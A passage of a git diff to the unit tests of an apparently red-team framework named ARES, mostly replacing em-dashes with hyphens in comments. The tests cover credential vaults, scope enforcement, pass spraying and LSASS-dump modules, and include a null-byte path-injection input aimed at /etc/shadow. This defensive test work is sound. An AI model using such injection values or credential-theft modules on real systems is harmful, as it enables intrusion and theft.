test_alternative_chain_for_psexec_failure(self):diff --git a/tests/unit/test_core_edge_cases.py b/tests/unit/test_core_edge_cases.pyindex 84a3bf2..d80df60 100644--- a/tests/unit/test_core_edge_cases.py+++ b/tests/unit/test_core_edge_cases.py@@ -1,5 +1,5 @@"""-Step 1B — Edge Case Tests: Core Infrastructure+Step 1B - Edge Case Tests: Core InfrastructureTests for non-happy-path scenarios, boundary conditions, and failure modes.Supplements test_core_infrastructure.py (happy path tests).@@ -24,7 +24,7 @@ if str(_ROOT) not in sys.path:# ═══════════════════════════════════════════════════════════════════════════════-# 1. AresDatabase — Edge Cases+# 1. AresDatabase - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestDatabaseEdgeCases:@@ -213,7 +213,7 @@ class TestDatabaseEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 2. Campaign — Edge Cases+# 2. Campaign - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestCampaignEdgeCases:@@ -256,7 +256,7 @@ class TestCampaignEdgeCases:assert c.is_in_scope("10.0.0.6") is Falsedef test_scope_multiple_entries(self):- """Multiple scope entries — IP in any should be in scope."""+ """Multiple scope entries - IP in any should be in scope."""from ares.core.campaign import Campaign, ScopeEntry, NoiseProfilec = Campaign(name="T", scope=[ScopeEntry(cidr="10.0.0.0/24"),@@ -310,7 +310,7 @@ class TestCampaignEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 3. CredentialVault — Edge Cases+# 3. CredentialVault - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestVaultEdgeCases:@@ -348,7 +348,7 @@ class TestVaultEdgeCases:def test_store_very_long_secret(self, vault):"""Very long secret (NTLM hash dump) should roundtrip."""from ares.credential.vault import Credential, CredentialType, PrivilegeLevel- long_secret = "A" * 50000 # 50K chars — simulates large credential dump+ long_secret = "A" * 50000 # 50K chars - simulates large credential dumpcred = Credential(username="longcred", domain="CORP",cred_type=CredentialType.NTLM,@@ -375,7 +375,7 @@ class TestVaultEdgeCases:)id1 = vault.store(cred1, secret="old_pass")id2 = vault.store(cred2, secret="new_pass")- # Same dedup key — should update existing+ # Same dedup key - should update existingassert id1 == id2# Higher privilege should winstored = vault._store[id1]@@ -433,7 +433,7 @@ class TestVaultEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 4. Security — Edge Cases+# 4. Security - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestSecurityEdgeCases:@@ -441,7 +441,7 @@ class TestSecurityEdgeCases:def test_sanitize_path_null_byte_injection(self):"""Null byte in path should be handled."""from ares.core.security import sanitize_path- # Null byte injection — common attack vector+ # Null byte injection - common attack vectortry:result = sanitize_path("/home/user/data\x00/etc/shadow")# Should either strip null or raise@@ -524,7 +524,7 @@ class TestSecurityEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 5. NoiseController — Edge Cases+# 5. NoiseController - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestNoiseEdgeCases:@@ -561,7 +561,7 @@ class TestNoiseEdgeCases:c = Campaign(name="T", scope=[ScopeEntry(cidr="10.0.0.0/8")],noise_profile=NoiseProfile.AGGRESSIVE)nc = NoiseController(c)- # AGGRESSIVE allows 200 req/min — 5 rapid acquires should be instant+ # AGGRESSIVE allows 200 req/min - 5 rapid acquires should be instantt0 = time.monotonic()for _ in range(5):await nc.rate_limiter.acquire("test")@@ -582,7 +582,7 @@ class TestNoiseEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 6. AresContainer — Edge Cases+# 6. AresContainer - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestContainerEdgeCases:@@ -634,7 +634,7 @@ class TestContainerEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 7. CVSS / Compliance — Edge Cases+# 7. CVSS / Compliance - Edge Cases# ═══════════════════════════════════════════════════════════════════════════════class TestCVSSEdgeCases:@@ -687,7 +687,7 @@ class TestCVSSEdgeCases:# ═══════════════════════════════════════════════════════════════════════════════-# 8. HIGH IMPACT — Concurrency Stress Tests+# 8. HIGH IMPACT - Concurrency Stress Tests# ═══════════════════════════════════════════════════════════════════════════════class TestConcurrencyStress:@@ -703,7 +703,7 @@ class TestConcurrencyStress:@pytest.mark.asyncioasync def test_concurrent_campaign_writes_no_data_loss(self, db):- """50 concurrent campaign saves must all persist — zero data loss."""+ """50 concurrent campaign saves must all persist - zero data loss."""from ares.core.campaign import Campaign, NoiseProfile, ScopeEntryasync def save_one(i):@@ -794,7 +794,7 @@ class TestConcurrencyStress:# ═══════════════════════════════════════════════════════════════════════════════-# 9. HIGH IMPACT — Encryption Integrity Tests+# 9. HIGH IMPACT - Encryption Integrity Tests# ═══════════════════════════════════════════════════════════════════════════════class TestEncryptionIntegrity:@@ -875,7 +875,7 @@ class TestEncryptionIntegrity:@pytest.mark.asyncioasync def test_db_credential_encrypted_at_rest(self, db):- """Credential secret in DB must be encrypted — NOT plaintext."""+ """Credential secret in DB must be encrypted - NOT plaintext."""from ares.db.database import DBCredentialfrom ares.core.campaign import Campaign, NoiseProfile, ScopeEntryc = Campaign(name="EncTest", scope=[ScopeEntry(cidr="10.0.0.0/8")],@@ -885,7 +885,7 @@ class TestEncryptionIntegrity:cred = DBCredential(campaign_id=c.id, username="enc_user",cred_type="password", secret=plain_secret)await db.save_credential(cred)- # Read raw from DB — secret_enc column must NOT contain plaintext+ # Read raw from DB - secret_enc column must NOT contain plaintextraw_creds = await db.load_credentials_raw(c.id)assert len(raw_creds) >= 1for rc in raw_creds:@@ -910,19 +910,19 @@ class TestEncryptionIntegrity:await db_a.save_credential(cred)await db_a.close()- # Read with key B — decryption must fail or return garbage+ # Read with key B - decryption must fail or return garbagedb_b = await AresDatabase.create(db_path, "key-bbb-32-chars-padded-xxxxxxxx")creds = await db_b.get_credentials(c.id, decrypt=True)await db_b.close()for cr in creds:secret = cr.get("secret_enc", cr.get("secret", ""))- # Must either be empty, garbage, or raise — never the original plaintext+ # Must either be empty, garbage, or raise - never the original plaintextassert secret != "RealSecret!", \"CRITICAL: Wrong encryption key decrypted to correct plaintext!"# ═══════════════════════════════════════════════════════════════════════════════-# 10. HIGH IMPACT — Security Boundary Tests+# 10. HIGH IMPACT - Security Boundary Tests# ═══════════════════════════════════════════════════════════════════════════════class TestSecurityBoundaries:@@ -994,7 +994,7 @@ class TestSecurityBoundaries:from ares.core.security import hash_password# A valid bcrypt hash that would match if the prefix check wasn't therefake_key = "not_ares_prefix_but_valid_otherwise"- # The verify_api_key method checks prefix first — we verify that pattern+ # The verify_api_key method checks prefix first - we verify that patternassert not fake_key.startswith("ares_")@pytest.mark.asyncio@@ -1009,9 +1009,9 @@ class TestSecurityBoundaries:user = await db.get_user("admin")uid = user["id"]key_id, raw = await db.create_api_key(uid, "temp", "admin")- # First revoke — should succeed+ # First revoke - should succeedassert await db.revoke_api_key(key_id, uid) is True- # Second revoke — already revoked, should return False+ # Second revoke - already revoked, should return Falseassert await db.revoke_api_key(key_id, uid) is Falseawait db.close()@@ -1036,11 +1036,11 @@ class TestSecurityBoundaries:await db.close()def test_scope_empty_means_deny_all(self):- """Empty scope must deny everything — this is the fail-closed invariant."""+ """Empty scope must deny everything - this is the fail-closed invariant."""from ares.core.campaign import Campaign, NoiseProfilec = Campaign(name="DenyAll", scope=[], noise_profile=NoiseProfile.NORMAL)# MUST deny every possible IPfor ip in ["0.0.0.0", "10.0.0.1", "127.0.0.1", "192.168.1.1","255.255.255.255", "8.8.8.8"]:assert c.is_in_scope(ip) is False, \- f"CRITICAL: Empty scope allowed {ip} — fail-open bug!"+ f"CRITICAL: Empty scope allowed {ip} - fail-open bug!"diff --git a/tests/unit/test_core_infrastructure.py b/tests/unit/test_core_infrastructure.pyindex c1d13bd..f98d3bd 100644--- a/tests/unit/test_core_infrastructure.py+++ b/tests/unit/test_core_infrastructure.py@@ -1,13 +1,13 @@"""-Step 1 — Unit Tests: Core Infrastructure+Step 1 - Unit Tests: Core InfrastructureTests for the foundation that every module depends on:- - AresDatabase (SQLite) — CRUD, encryption, bypass outcomes- - CredentialVault — encrypt/decrypt round-trip, privilege scoring- - Campaign — scope enforcement, finding management, noise profiles- - Security — sanitize_path whitelist, sanitize_hostname, DataEncryptor- - NoiseController — jitter, rate limiting- - AresContainer (DI) — registration, retrieval, factory, module building+ - AresDatabase (SQLite) - CRUD, encryption, bypass outcomes+ - CredentialVault - encrypt/decrypt round-trip, privilege scoring+ - Campaign - scope enforcement, finding management, noise profiles+ - Security - sanitize_path whitelist, sanitize_hostname, DataEncryptor+ - NoiseController - jitter, rate limiting+ - AresContainer (DI) - registration, retrieval, factory, module buildingRun: pytest tests/unit/test_core_infrastructure.py -v"""@@ -30,7 +30,7 @@ if str(_ROOT) not in sys.path:# ═══════════════════════════════════════════════════════════════════════════════-# 1. AresDatabase — SQLite async CRUD+# 1. AresDatabase - SQLite async CRUD# ═══════════════════════════════════════════════════════════════════════════════class TestAresDatabase:@@ -317,7 +317,7 @@ class TestAresDatabase:# ═══════════════════════════════════════════════════════════════════════════════-# 2. Campaign — scope enforcement, findings, noise+# 2. Campaign - scope enforcement, findings, noise# ═══════════════════════════════════════════════════════════════════════════════class TestCampaign:@@ -377,7 +377,7 @@ class TestCampaign:# ═══════════════════════════════════════════════════════════════════════════════-# 3. CredentialVault — encryption/decryption+# 3. CredentialVault - encryption/decryption# ═══════════════════════════════════════════════════════════════════════════════class TestCredentialVault:@@ -437,7 +437,7 @@ class TestCredentialVault:# ═══════════════════════════════════════════════════════════════════════════════-# 4. Security — sanitize_path, sanitize_hostname, DataEncryptor+# 4. Security - sanitize_path, sanitize_hostname, DataEncryptor# ═══════════════════════════════════════════════════════════════════════════════class TestSecurity:@@ -502,7 +502,7 @@ class TestSecurity:# ═══════════════════════════════════════════════════════════════════════════════-# 5. NoiseController — jitter, rate limiting+# 5. NoiseController - jitter, rate limiting# ═══════════════════════════════════════════════════════════════════════════════class TestNoiseController:@@ -544,7 +544,7 @@ class TestNoiseController:# ═══════════════════════════════════════════════════════════════════════════════-# 6. AresContainer (DI) — registration, retrieval, module building+# 6. AresContainer (DI) - registration, retrieval, module building# ═══════════════════════════════════════════════════════════════════════════════class TestAresContainer:diff --git a/tests/unit/test_coverage_gaps.py b/tests/unit/test_coverage_gaps.pyindex 8651614..dab0036 100644--- a/tests/unit/test_coverage_gaps.py+++ b/tests/unit/test_coverage_gaps.py@@ -5,7 +5,7 @@ Unit tests covering previously untested modules:- knowledge/base.py- telemetry/collector.py-Written against the actual source APIs — verified before writing.+Written against the actual source APIs - verified before writing."""from __future__ import annotationsimport pytest@@ -19,13 +19,13 @@ from pathlib import Pathclass TestCredentialVault:"""API verified:- CredentialVault(encryption_key) — None = ephemeral auto key- vault.store(cred, secret) — raises ValueError on empty secret- vault.add(cred, secret) — alias for store()- vault.all() — list of all Credential objects- vault.domain_admins() — DOMAIN_ADMIN + ENTERPRISE_ADMIN creds- vault.by_privilege(level) — filter by PrivilegeLevel- vault.reveal(cred_id) — decrypt → plaintext+ CredentialVault(encryption_key) - None = ephemeral auto key+ vault.store(cred, secret) - raises ValueError on empty secret+ vault.add(cred, secret) - alias for store()+ vault.all() - list of all Credential objects+ vault.domain_admins() - DOMAIN_ADMIN + ENTERPRISE_ADMIN creds+ vault.by_privilege(level) - filter by PrivilegeLevel+ vault.reveal(cred_id) - decrypt → plaintext"""@pytest.fixture@@ -114,7 +114,7 @@ class TestFingerprintEngine:"""API verified:class EnvironmentFingerprinter (NOT HostFingerprinter)- FingerprintResult fields: host, os_type, os_version, open_ports — NO 'confidence'+ FingerprintResult fields: host, os_type, os_version, open_ports - NO 'confidence'OSType.WINDOWS = "windows_10", OSType.LINUX = "linux_ubuntu" (convenience aliases)to_dict() → flat dict with 'host', 'os_type', 'open_ports'"""@@ -191,8 +191,8 @@ class TestFingerprintEngine:class TestKnowledgeBase:"""API verified:- suggest(host_state: dict) — takes a DICT, not OperatorSession- success_rate(module_id) — 0.5 neutral prior when no history+ suggest(host_state: dict) - takes a DICT, not OperatorSession+ success_rate(module_id) - 0.5 neutral prior when no historyrecord_outcome(id, bool)all_entries()get(entry_id)@@ -203,7 +203,7 @@ class TestKnowledgeBase:@pytest.fixturedef kb(self, tmp_path: Path):- """Fresh KB with isolated OutcomeTracker — never reads ~/.ares/kb_outcomes.json."""+ """Fresh KB with isolated OutcomeTracker - never reads ~/.ares/kb_outcomes.json."""from ares.knowledge.base import AttackKnowledgeBase, OutcomeTrackerkb = AttackKnowledgeBase()# Override tracker to use tmp_path so disk state doesn't leak across tests@@ -224,7 +224,7 @@ class TestKnowledgeBase:assert e.description or e.titledef test_success_rate_neutral_without_history(self, kb):- # Fresh tmp_path tracker — no prior data+ # Fresh tmp_path tracker - no prior datarate = kb.success_rate("ad.kerberoast")assert rate == 0.5@@ -275,8 +275,8 @@ class TestTelemetryCollector:"""API verified:record_execution(module_id, duration_ms, success, ...)- record_finding(count=1) — NO severity kwarg- record_credential(count=1) — NO cred_type kwarg+ record_finding(count=1) - NO severity kwarg+ record_credential(count=1) - NO cred_type kwargrecord_host_discovered/owned(count=1)snapshot(campaign_id="") → TelemetrySnapshotsnapshot().to_dict() → {'modules': ..., 'findings': ..., ...}@@ -354,7 +354,7 @@ class TestTelemetryCollector:# ─────────────────────────────────────────────────────────────────────────────-# goal/engine.py CapabilityGraph — circular dependency handling+# goal/engine.py CapabilityGraph - circular dependency handling# ─────────────────────────────────────────────────────────────────────────────class TestCapabilityGraphEdgeCases:@@ -406,7 +406,7 @@ class TestCapabilityGraphEdgeCases:def test_circular_dependency_does_not_loop(self):"""Circular deps (A requires cap_b, B requires cap_a)- should NOT loop infinitely — visited set prevents it.+ should NOT loop infinitely - visited set prevents it."""from ares.goal.engine import CapabilityGraphreg = self._make_registry({@@ -450,7 +450,7 @@ class TestCapabilityGraphEdgeCases:cg = CapabilityGraph.from_registry(reg)# Only mod.a is availablechain = cg.resolve_chain(["cap_y"], available_modules=["mod.a"])- assert "mod.b" not in chain # filtered out — not in available_modules+ assert "mod.b" not in chain # filtered out - not in available_modulesassert chain == [] # no available module produces cap_ydef test_empty_registry_returns_empty_chain(self):diff --git a/tests/unit/test_data_encryptor.py b/tests/unit/test_data_encryptor.pyindex ae85cc2..cd694de 100644--- a/tests/unit/test_data_encryptor.py+++ b/tests/unit/test_data_encryptor.py@@ -1,5 +1,5 @@"""-Unit tests — DataEncryptor edge cases (ares/core/security.py)+Unit tests - DataEncryptor edge cases (ares/core/security.py)Tests every edge case: key mismatch, tampered ciphertext, None input,legacy format migration, unicode, and the exception narrowing fix.@@ -63,7 +63,7 @@ class TestBasicEncryptDecrypt:def test_roundtrip_unicode(self):enc = make_enc()- value = "P@ssw0rd! — привет — 中文 — emoji 🔴"+ value = "P@ssw0rd! - привет - 中文 - emoji 🔴"assert enc.decrypt(enc.encrypt(value)) == valuedef test_roundtrip_long_string(self):@@ -91,14 +91,14 @@ class TestKeyMismatch:assert enc2.decrypt(token) is Nonedef test_empty_key_fails_gracefully(self):- """Empty key should not crash — returns None on decrypt."""+ """Empty key should not crash - returns None on decrypt."""try:enc = DataEncryptor("")token = enc.encrypt("test")result = enc.decrypt(token)assert result is None or result == "test"except Exception:- pass # construction may fail — that is also acceptable+ pass # construction may fail - that is also acceptabledef test_key_with_special_characters(self):key = "key-with-!@#$%^&*()-special-chars!"@@ -164,7 +164,7 @@ class TestTamperedCiphertext:class TestLegacyFormat:def test_legacy_format_decrypts_with_legacy_salt(self):- """Simulate v5-era ciphertext (no salt prefix) — must decrypt with legacy salt."""+ """Simulate v5-era ciphertext (no salt prefix) - must decrypt with legacy salt."""key = "test-key-32chars-minimum-required"enc = DataEncryptor(key)diff --git a/tests/unit/test_engine.py b/tests/unit/test_engine.pyindex 19d3016..e617885 100644--- a/tests/unit/test_engine.py+++ b/tests/unit/test_engine.py@@ -1,5 +1,5 @@"""-Tests for ARES AresEngine — execution, timeout, retry, concurrency.+Tests for ARES AresEngine - execution, timeout, retry, concurrency.Modules used in engine tests are mocked to return instantly.This tests ENGINE behavior (planning, parallelism, semaphore, timeout, retry)@@ -56,7 +56,7 @@ def campaign() -> Campaign:def _fast_run(**kwargs: Any):- """Instant async mock run — returns no findings, no raw data."""+ """Instant async mock run - returns no findings, no raw data."""async def _inner(**kw: Any):return [], {}@@ -487,7 +487,7 @@ class TestAsyncEngine:async def test_execution_plan_parallel(self, settings: AresSettings, campaign: Campaign) -> None:- """All modules in a stage are attempted — mocked to return instantly."""+ """All modules in a stage are attempted - mocked to return instantly."""engine = AresEngine(settings=settings)engine.load_modules()@@ -546,7 +546,7 @@ class TestAsyncEngine:async def test_semaphore_limits_concurrency(self, settings: AresSettings, campaign: Campaign) -> None:- """Engine respects max_parallel — mocked to avoid filesystem scans."""+ """Engine respects max_parallel - mocked to avoid filesystem scans."""engine = AresEngine(settings=settings, max_parallel=2)engine.load_modules()diff --git a/tests/unit/test_executor_pivot_lateral.py b/tests/unit/test_executor_pivot_lateral.pyindex 8dfec95..06f1182 100644--- a/tests/unit/test_executor_pivot_lateral.py+++ b/tests/unit/test_executor_pivot_lateral.py@@ -1,5 +1,5 @@"""-Round 2 tests — covers previously 0% components:+Round 2 tests - covers previously 0% components:- execution/executor.py- pivot/infrastructure.py- network/model.py@@ -451,7 +451,7 @@ class TestNetworkModel:assert "hosts" in d-# ── credential/reuse.py — WinRM validator ────────────────────────────────────+# ── credential/reuse.py - WinRM validator ────────────────────────────────────class TestWinRMValidator:@@ -512,7 +512,7 @@ class TestWinRMValidator:assert priv in ("administrator", "user")-# ── lateral/modules.py — RDP + all techniques ────────────────────────────────+# ── lateral/modules.py - RDP + all techniques ────────────────────────────────class TestLateralModules:@@ -638,7 +638,7 @@ class TestLateralModules:assert r.session_id != ""-# ── credential/reuse.py — ReuseEngine ────────────────────────────────────────+# ── credential/reuse.py - ReuseEngine ────────────────────────────────────────class TestReuseEngine:diff --git a/tests/unit/test_final_hardening.py b/tests/unit/test_final_hardening.pyindex dc2e189..a09e6c3 100644--- a/tests/unit/test_final_hardening.py+++ b/tests/unit/test_final_hardening.py@@ -1,5 +1,5 @@"""-FINAL Hardening Tests — Last line of defense.+FINAL Hardening Tests - Last line of defense.Tests campaign-scoped artifact isolation, guaranteed cleanup on all paths,exception safety, and long-running accumulation prevention.@@ -375,7 +375,7 @@ class TestEngineCleanupPlacement:# Check indentation: the cleanup call should be at the same or lower# indent level as the pivot if-block, NOT inside it.- # The pivot block starts with 'if "network.pivot"' — find its indent+ # The pivot block starts with 'if "network.pivot"' - find its indentpivot_line = Nonepivot_indent = Nonefor i, line in enumerate(lines):@@ -413,7 +413,7 @@ class TestThreadSafety:def test_artifact_tracking_uses_lock(self):"""_ARTIFACT_LOCK must exist and be a lock object."""from ares.core.security import _ARTIFACT_LOCK- # threading.Lock() returns _thread.lock — verify it has acquire/release+ # threading.Lock() returns _thread.lock - verify it has acquire/releaseassert hasattr(_ARTIFACT_LOCK, "acquire"), \"Artifact tracking must use a lock for thread safety"assert hasattr(_ARTIFACT_LOCK, "release"), \diff --git a/tests/unit/test_hardening.py b/tests/unit/test_hardening.pyindex 6d2ee21..fce44b9 100644--- a/tests/unit/test_hardening.py+++ b/tests/unit/test_hardening.py@@ -92,7 +92,7 @@ class TestNoPlaintextCredentials:description = row["description"]evidence_raw = row.get("evidence_json", "")- # CRITICAL ASSERTIONS — these FAIL on old code+ # CRITICAL ASSERTIONS - these FAIL on old codeassert real_password not in description, \f"BLOCKER-001 FAIL: Plaintext password found in description: {description}"assert real_password not in evidence_raw, \@@ -138,7 +138,7 @@ class TestNoPlaintextCredentials:def test_pass_spray_evidence_schema_has_redacted(self):"""BLOCKER-001: Verify pass_spray source code uses REDACTED in evidence.- This is a code-level assertion — if someone reverts the fix, this breaks.+ This is a code-level assertion - if someone reverts the fix, this breaks."""source = Path("ares/modules/credential/pass_spray.py").read_text(encoding="utf-8")@@ -156,7 +156,7 @@ class TestNoPlaintextCredentials:BLOCKER-001: Verify raw output dict also has passwords redacted."""source = Path("ares/modules/credential/pass_spray.py").read_text(encoding="utf-8")- # Find the raw dict construction — must use REDACTED+ # Find the raw dict construction - must use REDACTEDassert '"password": "***REDACTED***"' in source, \"BLOCKER-001 FAIL: raw output dict still has plaintext password"@@ -448,7 +448,7 @@ class TestSubprocessTimeout:"""Old behavior: isolation.py _spawn() called proc.communicate() withouttimeout. If subprocess hung, the worker hung forever. When wait_for- timed out, subprocess was NOT killed — became zombie.+ timed out, subprocess was NOT killed - became zombie.New behavior: _spawn() catches CancelledError, kills process, re-raises."""@@ -456,7 +456,7 @@ class TestSubprocessTimeout:def test_isolation_spawn_has_cancel_handler(self):"""HIGH-001: _spawn() must catch CancelledError and kill the process.- Old code had no CancelledError handler — zombie risk.+ Old code had no CancelledError handler - zombie risk."""source = Path("ares/worker/isolation.py").read_text(encoding="utf-8")assert "CancelledError" in source, \@@ -467,7 +467,7 @@ class TestSubprocessTimeout:def test_linux_modules_have_wait_for(self):"""HIGH-001: All linux modules must use asyncio.wait_for on proc.communicate.- Old code called proc.communicate() directly — hang risk.+ Old code called proc.communicate() directly - hang risk."""for module in ["ares/modules/linux/privesc.py",@@ -484,7 +484,7 @@ class TestSubprocessTimeout:def test_pip_install_has_timeout(self):"""HIGH-001: marketplace installer pip install must have timeout.- Old code: subprocess.run([...pip...], check=True) — no timeout.+ Old code: subprocess.run([...pip...], check=True) - no timeout."""source = Path("ares/marketplace/installer.py").read_text(encoding="utf-8")# Find the subprocess.run line with pip@@ -503,7 +503,7 @@ class TestSubprocessTimeout:async def test_subprocess_killed_on_timeout(self):"""HIGH-001: Prove that a hanging subprocess is killed after timeout.- This is the behavioral test — simulates what isolation.py does.+ This is the behavioral test - simulates what isolation.py does."""# Spawn a process that sleeps foreverproc = await asyncio.create_subprocess_exec(@@ -532,7 +532,7 @@ class TestSubprocessTimeout:os.kill(pid, 0) # signal 0 = check if alivepytest.fail(f"HIGH-001 FAIL: PID {pid} still exists after kill")except ProcessLookupError: pass- pass # correct — process is gone+ pass # correct - process is gone# ═══════════════════════════════════════════════════════════════════════════════diff --git a/tests/unit/test_module_coverage.py b/tests/unit/test_module_coverage.pyindex 984b006..69018c7 100644--- a/tests/unit/test_module_coverage.py+++ b/tests/unit/test_module_coverage.py@@ -6,7 +6,7 @@ Strategy: each module gets 3 tests minimum:2. dry_run=True returns ModuleResult(status='dry_run') without network3. MODULE_ID, OPSEC_LEVEL, MITRE_TECHNIQUES are correctly declared-These are not integration tests — no real network calls, no real AD/SSH/cloud.+These are not integration tests - no real network calls, no real AD/SSH/cloud.They verify the module can be imported, instantiated, and wired correctly."""from __future__ import annotations@@ -486,11 +486,11 @@ class TestLocalAdminCredsConsistency:cls = getattr(mod, cls_name)requires = getattr(cls, "REQUIRES", [])assert "local_admin_cred" not in requires, (- f"{cls_name}.REQUIRES contains 'local_admin_cred' (singular) — "+ f"{cls_name}.REQUIRES contains 'local_admin_cred' (singular) - "f"must be 'local_admin_creds' (plural) to match planner.py capability map")except ImportError:- pass # optional deps not installed — skip+ pass # optional deps not installed - skipclass TestDashboardModuleSchemaContracts:diff --git a/tests/unit/test_property_based.py b/tests/unit/test_property_based.pyindex d770c18..72921fa 100644--- a/tests/unit/test_property_based.py+++ b/tests/unit/test_property_based.py@@ -1,5 +1,5 @@"""-Property-based tests — Input sanitizers (ares/core/security.py)+Property-based tests - Input sanitizers (ares/core/security.py)Using hypothesis to fuzz sanitize_ldap, sanitize_hostname, validate_ip_or_cidr,sanitize_path, create_access_token, and DataEncryptor.@@ -35,14 +35,14 @@ from ares.core.security import (# ── Shared strategies ─────────────────────────────────────────────────────────-# Printable ASCII — the typical input space for user-supplied strings+# Printable ASCII - the typical input space for user-supplied stringsprintable_text = st.text(alphabet=string.printable,min_size=0,max_size=200,)-# Unicode including emoji, CJK, RTL, null bytes — the adversarial space+# Unicode including emoji, CJK, RTL, null bytes - the adversarial spaceadversarial_text = st.text(min_size=0, max_size=200)# LDAP injection payloads specifically@@ -108,7 +108,7 @@ class TestSanitizeLdap:# Key invariant: result is safe to embed in LDAP filterassert isinstance(result, str)# If ldap3 is available, injection chars get escaped with \xx- # If not, they get stripped — either way the output is safe+ # If not, they get stripped - either way the output is safe@given(st.just("") )def test_empty_string_stays_empty(self, value: str) -> None:@@ -118,7 +118,7 @@ class TestSanitizeLdap:@settings(max_examples=100)def test_alphanumeric_passthrough(self, value: str) -> None:"""Pure alphanumeric strings should pass through unchanged."""- # ldap3 escapes everything that's not safe — alphanum is safe+ # ldap3 escapes everything that's not safe - alphanum is saferesult = sanitize_ldap(value)# At minimum the result must contain all the original chars in some formassert len(result) >= len(value)@@ -280,7 +280,7 @@ class TestValidateIpOrCidr:@given(printable_text)@settings(max_examples=300, suppress_health_check=[HealthCheck.too_slow])def test_never_raises(self, value: str) -> None:- """validate_ip_or_cidr must never raise — only return True/False."""+ """validate_ip_or_cidr must never raise - only return True/False."""try:result = validate_ip_or_cidr(value)assert isinstance(result, bool)@@ -308,7 +308,7 @@ class TestValidateIpOrCidr:# ══════════════════════════════════════════════════════════════════════════════-# DataEncryptor — property-based+# DataEncryptor - property-based# ══════════════════════════════════════════════════════════════════════════════class TestDataEncryptorProperties:@@ -352,7 +352,7 @@ class TestDataEncryptorProperties:# ══════════════════════════════════════════════════════════════════════════════-# JWT — property-based+# JWT - property-based# ══════════════════════════════════════════════════════════════════════════════class TestJWTProperties:diff --git a/tests/unit/test_roadmap_modules.py b/tests/unit/test_roadmap_modules.pyindex f87d27a..4a287cd 100644--- a/tests/unit/test_roadmap_modules.py+++ b/tests/unit/test_roadmap_modules.py@@ -2,17 +2,17 @@Unit tests for ARES Roadmap modules (Tier 1, 2, 3).Coverage:- 1. credential.crack — OpsecLevel.LOCAL, validate() no hashes, CrackJob submission- 2. recon.fingerprint — validate() no target, EDR finding trigger, DC finding trigger- 3. network.pivot — validate() no target/no creds, dry_run, teardown- 4. ad.adcs — validate() no dc/domain/creds, template parsing, ESC1 detection- 5. ad.delegation_abuse — validate() RBCD needs target_computer, LDAP enum mock- 6. ad.coerce — STEALTH block, validate() no listener, dry_run- 7. windows.lsass_dump — STEALTH block, validate(), error classification- 8. windows.dpapi — validate(), error classification (auth/network), dry_run- 9. ad.laps_enum — validate(), vault.store() called with password, dry_run- 10. lateral.mssql — validate(), error classification (auth 18456 vs network)- 11. cloud.azure_ad — validate() no tenant_id, dry_run+ 1. credential.crack - OpsecLevel.LOCAL, validate() no hashes, CrackJob submission+ 2. recon.fingerprint - validate() no target, EDR finding trigger, DC finding trigger+ 3. network.pivot - validate() no target/no creds, dry_run, teardown+ 4. ad.adcs - validate() no dc/domain/creds, template parsing, ESC1 detection+ 5. ad.delegation_abuse - validate() RBCD needs target_computer, LDAP enum mock+ 6. ad.coerce - STEALTH block, validate() no listener, dry_run+ 7. windows.lsass_dump - STEALTH block, validate(), error classification+ 8. windows.dpapi - validate(), error classification (auth/network), dry_run+ 9. ad.laps_enum - validate(), vault.store() called with password, dry_run+ 10. lateral.mssql - validate(), error classification (auth 18456 vs network)+ 11. cloud.azure_ad - validate() no tenant_id, dry_run"""from __future__ import annotations@@ -72,13 +72,13 @@ def _mock_ctx(params=None, target="10.0.0.1", domain="corp.local",# ══════════════════════════════════════════════════════════════════════-# 1 — credential.crack+# 1 - credential.crack# ══════════════════════════════════════════════════════════════════════class TestCredentialCrack:def test_opsec_level_local_exists(self):- """OpsecLevel.LOCAL must exist — crash fixed in BUG-01."""+ """OpsecLevel.LOCAL must exist - crash fixed in BUG-01."""from ares.modules.base import OpsecLevelassert OpsecLevel.LOCAL == "local"assert OpsecLevel.LOCAL is not None@@ -134,7 +134,7 @@ class TestCredentialCrack:# ══════════════════════════════════════════════════════════════════════-# 2 — recon.fingerprint+# 2 - recon.fingerprint# ══════════════════════════════════════════════════════════════════════class TestReconFingerprint:@@ -187,7 +187,7 @@ class TestReconFingerprint:# ══════════════════════════════════════════════════════════════════════-# 3 — network.pivot+# 3 - network.pivot# ══════════════════════════════════════════════════════════════════════class TestNetworkPivot:@@ -243,7 +243,7 @@ class TestNetworkPivot:# ══════════════════════════════════════════════════════════════════════-# 4 — ad.adcs+# 4 - ad.adcs# ══════════════════════════════════════════════════════════════════════class TestADADCS:@@ -284,7 +284,7 @@ class TestADADCS:# ══════════════════════════════════════════════════════════════════════-# 5 — ad.delegation_abuse+# 5 - ad.delegation_abuse# ══════════════════════════════════════════════════════════════════════class TestADDelegationAbuse:@@ -319,7 +319,7 @@ class TestADDelegationAbuse:# ══════════════════════════════════════════════════════════════════════-# 6 — ad.coerce+# 6 - ad.coerce# ══════════════════════════════════════════════════════════════════════class TestADCoerce:@@ -370,7 +370,7 @@ class TestADCoerce:# ══════════════════════════════════════════════════════════════════════-# 7 — windows.lsass_dump+# 7 - windows.lsass_dump# ══════════════════════════════════════════════════════════════════════class TestWindowsLsassDump:@@ -427,7 +427,7 @@ class TestWindowsLsassDump:# ══════════════════════════════════════════════════════════════════════-# 8 — windows.dpapi+# 8 - windows.dpapi# ══════════════════════════════════════════════════════════════════════class TestWindowsDPAPI:@@ -495,7 +495,7 @@ class TestWindowsDPAPI:# ══════════════════════════════════════════════════════════════════════-# 9 — ad.laps_enum+# 9 - ad.laps_enum# ══════════════════════════════════════════════════════════════════════class TestADLAPSEnum:@@ -562,7 +562,7 @@ class TestADLAPSEnum:# ══════════════════════════════════════════════════════════════════════-# 10 — lateral.mssql+# 10 - lateral.mssql# ══════════════════════════════════════════════════════════════════════class TestLateralMSSQL:@@ -604,7 +604,7 @@ class TestLateralMSSQL:_run(_test())def test_auth_error_18456_classified(self):- """SQL Server error 18456 = wrong credentials — must raise 